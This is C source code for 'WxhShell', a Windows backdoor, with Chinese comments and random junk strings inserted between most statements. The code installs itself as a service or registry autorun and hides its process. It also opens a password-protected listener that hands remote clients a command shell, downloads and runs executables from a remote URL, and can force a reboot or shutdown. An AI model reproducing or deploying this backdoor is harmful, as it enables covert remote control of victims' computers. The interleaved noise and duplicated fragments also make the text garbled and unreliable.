- PROCESS_BASIC_INFORMATION pbi; a[74%L? H, XLb. HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); q'Pz3/mk if(NULL == hInst ) return 0; Ux)p%- q4.dLU,1 g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Y:"v=EhB g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ]D) 'I` NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); m!#)JFe67 M$]O=2h+2 if (!NtQueryInformationProcess) return 0; Neo^C_[vN KIAe36.~ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); `k}l$ih`X if(!hProcess) return 0; ,8xP8T~Kmv
kF+ }.x% if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; >xZhK63C/ VM]GYz|#] CloseHandle(hProcess); N{hF [F *e-ptgO hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Q{l*62Bx if(hProcess==NULL) return 0; v<7Gln D _bkUR1 HMODULE hMod; +{C9uY)$vf char procName[255]; #[U9(44, unsigned long cbNeeded; fr'huvc Hr<C2p^a if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ^L8Wn6s' <h@z=ijN CloseHandle(hProcess); l\=-+'Y NHFEr if(strstr(procName,"services")) return 1; // 以服务启动 Bd[L6J) a:-)+sgHw return 0; // 注册表启动 aZawBU.: } yA?ENAM NO+
55n // 主模块 {n'qKurxY int StartWxhshell(LPSTR lpCmdLine) n(Q\',C { sR>`QIi(a SOCKET wsl; m,@1LwBH BOOL val=TRUE; F[7Kw"~J int port=0; (
*9Ip struct sockaddr_in door; M)`HK
. U7]<U-.& if(wscfg.ws_autoins) Install(); }dd k}wga sk7rU+< port=atoi(lpCmdLine); 0tW<LR-}E Pn+IJ=0Y if(port<=0) port=wscfg.ws_port; &'huS?gA9 J~iOP WSADATA data; W8G9rB|T if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; MS st b@2Cll# if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; &PRx,G5 setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); {HIR>])o door.sin_family = AF_INET; EREolCASb door.sin_addr.s_addr = inet_addr("127.0.0.1"); +-H}s` door.sin_port = htons(port); Gq0]m @@%i(>4Z if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { j Ne(w<',P closesocket(wsl); wUK7um return 1; o9m } tIGVB+g{F w\o)bn if(listen(wsl,2) == INVALID_SOCKET) { +
%MO7vL closesocket(wsl); a@fE46o6< return 1; z29qARiX } pK6e/eC Wxhshell(wsl); m feMmKFu\ WSACleanup(); HBh` 2Q mFqSD return 0; " K 8&{= ySwYV } Cdp]Nv6 4?>18%7& // 以NT服务方式启动 I!$jYY2 VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Ic[}V0dk { 49+ >f DWORD status = 0; p{ @CoOn DWORD specificError = 0xfffffff; mVv\bl?< J+)'-OFt0 serviceStatus.dwServiceType = SERVICE_WIN32; MvFM, serviceStatus.dwCurrentState = SERVICE_START_PENDING; J$#h(D% serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; &jV9* serviceStatus.dwWin32ExitCode = 0; ?~"`^|d
serviceStatus.dwServiceSpecificExitCode = 0; ^w:OS5 %R serviceStatus.dwCheckPoint = 0; 0W T#6D serviceStatus.dwWaitHint = 0; ~9JW#HHzn G3RrjWtO hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); dSOlD/c
if (hServiceStatusHandle==0) return; 6X@mPj[/ 10C 2= status = GetLastError(); ;YK!EMM4!h if (status!=NO_ERROR) Aautih@LX { w=f0*$ue+w serviceStatus.dwCurrentState = SERVICE_STOPPED; |Z`M*.d+ serviceStatus.dwCheckPoint = 0; @gt)P4yE serviceStatus.dwWaitHint = 0; \8;Qv serviceStatus.dwWin32ExitCode = status; V19e> serviceStatus.dwServiceSpecificExitCode = specificError; [_y9"MMwn SetServiceStatus(hServiceStatusHandle, &serviceStatus); (;;J,*NP return; pOqGAD{D$ } .MDYGWKt nE/=:{~Ws serviceStatus.dwCurrentState = SERVICE_RUNNING; uy/y wm/?= serviceStatus.dwCheckPoint = 0; .A3DFm3 t serviceStatus.dwWaitHint = 0; gw_|C|!P if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); p=!#],[ } `9.dgV I2TD.wuIW // 处理NT服务事件,比如:启动、停止 mD9STuA$H VOID WINAPI NTServiceHandler(DWORD fdwControl) 79)A%@YHQQ { B0f_kH~p~ switch(fdwControl) %mY| { CJzm}'NY case SERVICE_CONTROL_STOP: s~S?D{! serviceStatus.dwWin32ExitCode = 0; NTqo`VWe serviceStatus.dwCurrentState = SERVICE_STOPPED; [f<"p[ serviceStatus.dwCheckPoint = 0; q1YLq(e serviceStatus.dwWaitHint = 0; oi7
3YOB { K!3{M!B SetServiceStatus(hServiceStatusHandle, &serviceStatus); M'yO+bu } QJx9I_ return; DdBxqkh case SERVICE_CONTROL_PAUSE: n!GWqle serviceStatus.dwCurrentState = SERVICE_PAUSED; 8@E8!w&~ break; *;<e
'[Y7f case SERVICE_CONTROL_CONTINUE: 2q)T y9 serviceStatus.dwCurrentState = SERVICE_RUNNING; y^2#9\}K break; tf4*R_6;1$ case SERVICE_CONTROL_INTERROGATE: ecn}iN break; :/+>e
IE }; B,3 t` SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9'1hjd3k } D9ANm"# "$GK.MP5 // 标准应用程序主函数 5^\m`gS int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) $fj])>=H { I0!j<G EPc!p> // 获取操作系统版本 fD'/#sA#' OsIsNt=GetOsVer(); UM<@t%|> GetModuleFileName(NULL,ExeFile,MAX_PATH); m7JPH7P@BM h~ $& // 从命令行安装 K}
+S+
*_ if(strpbrk(lpCmdLine,"iI")) Install(); 5N\+@grp 8KFj<N>' // 下载执行文件 {={^6@ if(wscfg.ws_downexe) { P3G:th@j= if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) aSUsyOe WinExec(wscfg.ws_filenam,SW_HIDE); l1&5uwuF } 4<u;a46Z#M DlDB=N0@S if(!OsIsNt) { MFv
Si // 如果时win9x,隐藏进程并且设置为注册表启动 VSh !4z1 HideProc(); bZiyapM StartWxhshell(lpCmdLine); \I;cZ>{u"} } h-7A9: else 't7Z] G if(StartFromService()) qk&gA}qF // 以服务方式启动 sH%&+4!3 StartServiceCtrlDispatcher(DispatchTable); s}wO7Df=+ else :AZp} // 普通方式启动 $57\u/(
StartWxhshell(lpCmdLine); A^-iHm W+8^P(
K return 0; 8/Mx5~ R } {B3(HiC H"_v+N5= HL@TcfOe~ ~x'zX-@rC =========================================== qYiv GWgd8x*V OZ^h\m4 V7:\q^$ r&SO:#rOSM )!A 2> " NEMEY7De2 GMBJjP&R] #include <stdio.h> /jR8|sb #include <string.h> Wm(:P #include <windows.h> 6+iK!&+= #include <winsock2.h> Xtkw Z3 #include <winsvc.h> 8)pB_en3sO #include <urlmon.h> L?HF'5o `_GO=QQ #pragma comment (lib, "Ws2_32.lib")
YZ<
NP #pragma comment (lib, "urlmon.lib") 7aQn; zrrz<dW #define MAX_USER 100 // 最大客户端连接数 :9`qogF> #define BUF_SOCK 200 // sock buffer 4`s)ue #define KEY_BUFF 255 // 输入 buffer `y2ljIWJ -bA!PeI #define REBOOT 0 // 重启 Pg
Syt #define SHUTDOWN 1 // 关机 X'@'/[? RJx{eck% #define DEF_PORT 5000 // 监听端口 zka?cOmYF[ ^sV|ck #define REG_LEN 16 // 注册表键长度 .Vmtx #define SVC_LEN 80 // NT服务名长度 +8f>^*:u ~T 02._E // 从dll定义API +`| mJa typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); <7^Kt7k typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 3p_b8K_bG typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); @bT3'K-4 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); dQ<(lzS~ g5}lLKT // wxhshell配置信息 <GaT|Hhc= struct WSCFG { T`?n,'!( int ws_port; // 监听端口 @^!\d#/M char ws_passstr[REG_LEN]; // 口令 \!<"7=(J{4 int ws_autoins; // 安装标记, 1=yes 0=no b/nOdFO@ char ws_regname[REG_LEN]; // 注册表键名 Q 2"WV char ws_svcname[REG_LEN]; // 服务名 \45(#H<$ char ws_svcdisp[SVC_LEN]; // 服务显示名 >ZeEX,N char ws_svcdesc[SVC_LEN]; // 服务描述信息 f>niFPW" char ws_passmsg[SVC_LEN]; // 密码输入提示信息 )Oiev u_"| int ws_downexe; // 下载执行标记, 1=yes 0=no b+Vi3V char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" @h#Xix7 char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ~M*gsW$ y"-{$ N
}; b
=b: O:JPJ"! // default Wxhshell configuration (B:uc_+ struct WSCFG wscfg={DEF_PORT, {2:d`fqD "xuhuanlingzhe", (;UP%H> 1, /lJjQ]c;> "Wxhshell", 59i] "Wxhshell", PBrnzkoY "WxhShell Service", 2ce'fMV "Wrsky Windows CmdShell Service", O&V[g>x"U "Please Input Your Password: ", &Mj1CvCv 1, BFh$.+D "http://www.wrsky.com/wxhshell.exe", /cfHYvnz "Wxhshell.exe" BI.V0@qZ }; A$@o'Q;he :Fw?{0 // 消息定义模块 ZMdW2_*F char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; fa{@$ppx char *msg_ws_prompt="\n\r? for help\n\r#>"; 6V2j*J char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; B\[-fq char *msg_ws_ext="\n\rExit."; 3gc"_C\$ char *msg_ws_end="\n\rQuit."; %ek"!A char *msg_ws_boot="\n\rReboot..."; :B.G)M\ char *msg_ws_poff="\n\rShutdown..."; fhRjYYGI char *msg_ws_down="\n\rSave to "; F\LsI;G TatMf;?h& char *msg_ws_err="\n\rErr!"; ~<,Sh~Ana. char *msg_ws_ok="\n\rOK!"; H&bh<KPMh 7/"@yVBW char ExeFile[MAX_PATH]; 6m[9b*s7 int nUser = 0; P}@*Z>j:# HANDLE handles[MAX_USER]; <d"Gg/@a int OsIsNt; f`|G]da-3o fY_%33_I$ SERVICE_STATUS serviceStatus; hVUIBJ/5(- SERVICE_STATUS_HANDLE hServiceStatusHandle; S+ebO/$> {ma;G[! // 函数声明 4SR(->@ int Install(void); g1@wf int Uninstall(void); bS rZ{l int DownloadFile(char *sURL, SOCKET wsh); 5B*qbM int Boot(int flag); s;1e0n void HideProc(void); 5UOk)rOf int GetOsVer(void); "8HE^Po/pn int Wxhshell(SOCKET wsl); s$GF 95^ void TalkWithClient(void *cs); ET-Vm >] int CmdShell(SOCKET sock); _-%d9@x int StartFromService(void); sRq U]i8l int StartWxhshell(LPSTR lpCmdLine); Pp*}R2
jBpVxv VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); (Es{l a G VOID WINAPI NTServiceHandler( DWORD fdwControl ); Rla4L`X; rk,p!}FqL // 数据结构和表定义 T~J?AKx SERVICE_TABLE_ENTRY DispatchTable[] = ^i`*Wm@! { bUs|t {wscfg.ws_svcname, NTServiceMain}, IN^_BKQt {NULL, NULL} V@Wcb$mgk }; _tj&Psp tcA;#^jc // 自我安装 <&U!N'CE int Install(void) (WE,dY+. { z*LiweR- char svExeFile[MAX_PATH]; Of`c`-<j HKEY key; kon=il<@ strcpy(svExeFile,ExeFile); gX,9Gh 2[up+;%Y // 如果是win9x系统,修改注册表设为自启动 A]?^ H< if(!OsIsNt) { ` X}85 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { / Z!i;@Wf RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); D$nK`r RegCloseKey(key);
p5<2N if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /2@["*^$ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4;*f1_;f~ RegCloseKey(key); %-j&e44 return 0; gj+3y9 } L'9N9CR{i } *IZf^-=Q } HarFE4V else { R0<< f] U:|H9+5 // 如果是NT以上系统,安装为系统服务 J&6:d SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Gzm$OHbn if (schSCManager!=0) o~C('1Fdb { U CY2]E SC_HANDLE schService = CreateService )#`H."Z ( AyTx' u schSCManager, m;/i<:` wscfg.ws_svcname, HFS+QwHW wscfg.ws_svcdisp, jvs[ / SERVICE_ALL_ACCESS, 6c<ezEJ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Q6^x8 SERVICE_AUTO_START, 6fwY$K\X SERVICE_ERROR_NORMAL, T=\!2gt svExeFile, )^
<3\e NULL, >;nS8{2o NULL, iZ;TYcT NULL, np6HUH NULL, ]}2Ztr)zZ NULL nY^Nbh0 ); d
4O if (schService!=0) ;[6&0!N\ { ~FUa:KYD CloseServiceHandle(schService); k'+}92
o CloseServiceHandle(schSCManager); ,
Oli strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); @vs@>CYdz strcat(svExeFile,wscfg.ws_svcname); ~7SH4Cr if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { J70D+ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); >o[|"oLO RegCloseKey(key); L2|aHI1'l return 0; 0*7*RX } 8A{6j } 7X'y>\^w^> CloseServiceHandle(schSCManager); ;NsO } vWY(% Q, } r4eUZ .8R RP`
`mI return 1; ?_ RYqolz } ek)Xrp:2 6/2v // 自我卸载 x /
XkD]Hq int Uninstall(void) 2QayM?k8 { 'b[0ci: HKEY key; #*,sa :oa9#c`L if(!OsIsNt) { Y<LNQ]8\G if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { h&'=F)5 RegDeleteValue(key,wscfg.ws_regname); )5yj/0oT RegCloseKey(key); 4}yE+dRUK: if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { G)7)]yBL RegDeleteValue(key,wscfg.ws_regname); 9
5 H?{ RegCloseKey(key); ,Y!zORv<7 return 0; @ajM^L!O } 9]$`)wZ } Y}.Ystem } /iC_!n u else { WE.Tuo5L 5$Kf]ZP SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); T*P+Fh" if (schSCManager!=0) wO!u!I {
BGqa-d SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); CC8k&u, if (schService!=0) aRwnRii { f7+Cz>R if(DeleteService(schService)!=0) { {ZqQ!!b CloseServiceHandle(schService); K$-;;pUl CloseServiceHandle(schSCManager); ;KcFy@ 6q5 return 0; ?`P2'i<b } K{L.ZH>7 CloseServiceHandle(schService); Z?1OdoT- } "#S>I8d CloseServiceHandle(schSCManager); e@jfIF0=} } _D-Riu>#J } D4Sh9:\ uva\0q return 1; E`)Qs[?Gk } dlD}Ub :p-Y7CSSu // 从指定url下载文件 iJP{|-h int DownloadFile(char *sURL, SOCKET wsh) Z"tQpJg { qrDcL>Hrn HRESULT hr; T[2}p=<% char seps[]= "/"; 3j*'HST char *token; sh6(z?KP char *file; =_QkH!vI char myURL[MAX_PATH]; i6>R qP!69 char myFILE[MAX_PATH]; pP\h6b+B knSuzq%* strcpy(myURL,sURL); =kFuJ
x)f token=strtok(myURL,seps); _T]>/}}p while(token!=NULL) Q]\j>> { IJPgFZ7 file=token; se,Z#H token=strtok(NULL,seps); 9}
*$n&B } ~3=2=Uf /DU*M, GetCurrentDirectory(MAX_PATH,myFILE); kxo.v |)8 strcat(myFILE, "\\"); ;|30QUYh strcat(myFILE, file); KO,_6>8]U send(wsh,myFILE,strlen(myFILE),0); treXOC9^B8 send(wsh,"...",3,0); cyMs(21 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 2
sSwDF if(hr==S_OK) oh\1>3,Ns return 0; Bp3L>AcVu else SDc"
4g` return 1; &=zU611, sXB+s } V2Y$yV8g1 mo9$NGM&} // 系统电源模块 ;0j*>fb\q7 int Boot(int flag) k/#>S*Ne { u(hC^T1 HANDLE hToken; 263*: Y TOKEN_PRIVILEGES tkp; btQet. N!m%~kS9k< if(OsIsNt) { T
% / OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); r}EM4\r LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); uaxB -PZ tkp.PrivilegeCount = 1; :qnokrGzB tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 1nB@zBQu- AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); sqG`"O4W if(flag==REBOOT) { xF8 :^' if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) /=ylQn3
* return 0; (C `@a/q } RVP 18ub.S else { z!CD6W1n if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) -N z}DW> return 0; t w!.%_1^ } :t>Q:mX(N } }17bV, t else { m!Af LSlwm if(flag==REBOOT) { Qa?aL if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) uF<S return 0; k7T
alR } ;*QN9T=0 else { k1iLnza% if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ('d{t:TsY return 0; b42QBTeg } xid:" y=_& } \7
Mq $d ~:Ixmqi}R return 1; q^6N+ ^}QN } Wp4K6x *w 21U! // win9x进程隐藏模块 !KDr`CV& void HideProc(void) +H}e)1^I { D3.VXuKn6 V}:'Xgp*N HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ;+/NjC1 if ( hKernel != NULL ) 1;`Fe":;vC { CJA+v- pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); KZ3B~#oQ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); w \DspF FreeLibrary(hKernel); \G3!TwC% } [B,p,Q" 2 `&<bt[g return; dXO=ZU/N } KpGUq0d@ TkT-$=i // 获取操作系统版本 %~\ int GetOsVer(void) gvo?([j-m { o=mo/N4 OSVERSIONINFO winfo; wA",SBGX winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); y.ql#eQ, GetVersionEx(&winfo); .C?GW1[c~@ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) >)y$mc6 return 1; YkI9d&ib+ else DZP*x return 0; 1RA }aX } -t>Z
9 M8_ R // 客户端句柄模块 G"C;A`6 int Wxhshell(SOCKET wsl) ;NG1{]|Z { Gl;f#} SOCKET wsh; xFX&9^Uk struct sockaddr_in client; [' t8C DWORD myID; 6KB^w0oA [Q:f-<nH while(nUser<MAX_USER) to51hjV { u
GIr&`S int nSize=sizeof(client);
ol#yjrv wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 4Pf+]R if(wsh==INVALID_SOCKET) return 1; "ZqEP R) ZM
8U]0[X handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); QQq/5r4O`q if(handles[nUser]==0) .5z&CJDiIi closesocket(wsh); 7vq
DZg else Dt|fDw$]D nUser++; 19&)Yd1 } %yKKUZ~ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); _'lmCj8L UEN56@eCNf return 0; RxMoD.kx } E@mkm HT-PWk>2 // 关闭 socket 8? F
2jv void CloseIt(SOCKET wsh) _eh3qs: { 2_.CX(kI closesocket(wsh); L?Tu)<Mn nUser--; j"0rkN3$J ExitThread(0); ?cJA^W } ]7l{g9?ZtV (QKsB3X // 客户端请求句柄 {RJ52Gx( void TalkWithClient(void *cs) }v&K~!* { ( mt*y]p? )WclV~ SOCKET wsh=(SOCKET)cs; i=V-@|Z char pwd[SVC_LEN]; zg)|rm char cmd[KEY_BUFF]; d^y86pq. char chr[1]; [!Ao,rt?Vg int i,j; Q2FQhc@L(: X7b!;%3@ while (nUser < MAX_USER) { |
F8]Xnds L,
#Byao if(wscfg.ws_passstr) { S<9gyW if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); hWm0$v1p //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _^-D _y //ZeroMemory(pwd,KEY_BUFF); s_S$7N`ocS i=0; G4O3h Y.` while(i<SVC_LEN) { hu&n=6 IG&B2* // 设置超时 U(!?d ]en fd_set FdRead; _C5n Apb struct timeval TimeOut; e]Puv)S>{8 FD_ZERO(&FdRead); x?gQ\0S< FD_SET(wsh,&FdRead); q6Rw4 TimeOut.tv_sec=8; d&?F#$> 7| TimeOut.tv_usec=0; \D ^7Z97 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); eq{
[?/ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); )u-ns5 py=i!vb&Z% if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); xmOM<0T pwd=chr[0]; 1j+eD:d' if(chr[0]==0xd || chr[0]==0xa) { \:h0w;34O pwd=0; Eh:yRJ_8 break; :Nkz,R? } &D^e<j}RQ i++; 8a?IC|~Pz } i"<ZVw fmBkB8 // 如果是非法用户,关闭 socket 9V.+U7\w if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); y=wdR|b } E~}[+X@ y%JF8R;n send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); m+p4Mc%u send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); URk$}_39 GG*BN<(>! while(1) { u!M&;QL "7:u0p! ZeroMemory(cmd,KEY_BUFF); KjC[q ["<5?!bU // 自动支持客户端 telnet标准 3eJ\aVI>pE j=0; oH=4m~'V while(j<KEY_BUFF) { $@68= if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /8:gVXZi cmd[j]=chr[0]; }=TqJy1 if(chr[0]==0xa || chr[0]==0xd) { 9Il'E6
J cmd[j]=0; =#jTo|~u4o break; [+_\z',u } } mgVC j++; aE}=^%D } \;iG{}( KLON; // 下载文件 Z`|> tbOfZ if(strstr(cmd,"http://")) { 2UQN*_ send(wsh,msg_ws_down,strlen(msg_ws_down),0); ,=yOek} if(DownloadFile(cmd,wsh)) W%=Zdm
rv send(wsh,msg_ws_err,strlen(msg_ws_err),0); % /~os2R else *u58l(&`8 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `Y0fst<, } cl?<
7 else { x-tm[x@;o u6]gQP">I switch(cmd[0]) { { 576+:* ,nI_8r"M> // 帮助 \A` gK\/h case '?': { :{x!g6bK@ send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); kBQ5]Q" break; C+DG+_%V*S } _xa}B,H // 安装 2-QuT"Gkd case 'i': { {_rZRyr if(Install()) 'W}~)+zK send(wsh,msg_ws_err,strlen(msg_ws_err),0); g9M')8a n else
b$PT_!d send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); NJ.rv break; ,"x23=] } Pv^(Q] // 卸载 <yis case 'r': { 4
`j,&= if(Uninstall()) 6\%r6_.d send(wsh,msg_ws_err,strlen(msg_ws_err),0); B >ms`|q=l else xV"6d{+ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?f(pQy@V break; ~JIywzcf8 } 9yO{JgKA // 显示 wxhshell 所在路径 qn5yD!1 case 'p': { @?'t@P:4 char svExeFile[MAX_PATH];
~JAH-R strcpy(svExeFile,"\n\r"); #8P#^v]H strcat(svExeFile,ExeFile); 1'(_>S5CG send(wsh,svExeFile,strlen(svExeFile),0); .`:oP&9r break; 'm } BERn _5gb // 重启 3WQRN_ case 'b': { : ;|)/ send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Xw&QrTDS` if(Boot(REBOOT)) zv8aV2?D send(wsh,msg_ws_err,strlen(msg_ws_err),0); r)) $XM else { 6-)7:9y closesocket(wsh); =x|##7 ExitThread(0); Bl>_&A) } ho?|j"/7 break; yBpW#1= } $q4 XcIX 7 // 关机 sURUQ H case 'd': { c#]'#+aH send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 2U-#0,ll] if(Boot(SHUTDOWN)) ls8olLM> send(wsh,msg_ws_err,strlen(msg_ws_err),0); _C7abw- else { n's2/9x closesocket(wsh); w`H.ey ExitThread(0); [Q2S3szbt6 } 7j9D;_(.^$ break; o=mq$Z:} } hNu>s // 获取shell
T4%i`<i case 's': { .WN;TjEg! CmdShell(wsh); I!C(K^ closesocket(wsh); WLg6-@kxXs ExitThread(0); -o=P85V break; eXskwV+7 } clPZd // 退出 YR^Ee8 _H case 'x': { l%-67( send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 4~]8N@Bii CloseIt(wsh); $@+p~ )r(l break; >Hd~Ca> } |r)>bY7 // 离开 #+2:d?t case 'q': { [[Jv)?jm send(wsh,msg_ws_end,strlen(msg_ws_end),0); +X2 i/} closesocket(wsh); k1QpX@ WSACleanup(); /xX,
exit(1); a}[=_vb}K break; :IP;FrcMP } $S($97IU= } ~pX(w!^ } /iuUUCk 3iwoMrp // 提示信息 "w:\@Jwu( if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |k['wqn" } YoSo0fQA } !Vp,YN+yN ^C,/T2> return; [0**&.obz } S<2CG)K[ Q
KcF1? // shell模块句柄 d[P>jl%7 int CmdShell(SOCKET sock) n)1 { <{-(\>f!9 STARTUPINFO si; cpr{b8Xb8& ZeroMemory(&si,sizeof(si)); tF;& x
g si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ,oB k> si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 110>p PROCESS_INFORMATION ProcessInfo; ~vjr;a(B char cmdline[]="cmd"; .yFg$|y G CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); M2zos(8g return 0; 5CRc]Q#@ } &2<&X( ) }Uqa8& // 自身启动模式 N%n1>!X)! int StartFromService(void) #+k.b_LS { &}L36|A: typedef struct Eezlx9b { $Z(g=nS> DWORD ExitStatus; )\I? EU8 DWORD PebBaseAddress; Up!ZCZ$RC DWORD AffinityMask; <x>k3bD DWORD BasePriority; 5m%baf2_ ULONG UniqueProcessId;
alb+R$s ULONG InheritedFromUniqueProcessId; ]"2 v7)e } PROCESS_BASIC_INFORMATION; 3 -_U-:2" :xAe<Pq PROCNTQSIP NtQueryInformationProcess; Z)6nu) ZB_16&2Ow static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; **w*hd] static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; W O+?gu #<WyId( HANDLE hProcess; 5u
u2 _B_L PROCESS_BASIC_INFORMATION pbi; 3wa<,^kqy r:8]\RU HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ]\os`At if(NULL == hInst ) return 0; e8P!/x-y |/T<]+X; g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); @dT: 1s g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); E^EU+})Ujr NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ai;gca_P# q _T?G e if (!NtQueryInformationProcess) return 0; {Y@-*pL] hI>rtaY_ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); .1[2 CjQ if(!hProcess) return 0; hk lO:,` nX.s h if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; dx?njR v{rK_jq CloseHandle(hProcess); MLv.v&@S VT.{[Kl hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); vElL.<.. if(hProcess==NULL) return 0; zoJkDr=jn Z9
q{r s HMODULE hMod; 4-}A'fTU8 char procName[255]; "e7$q&R
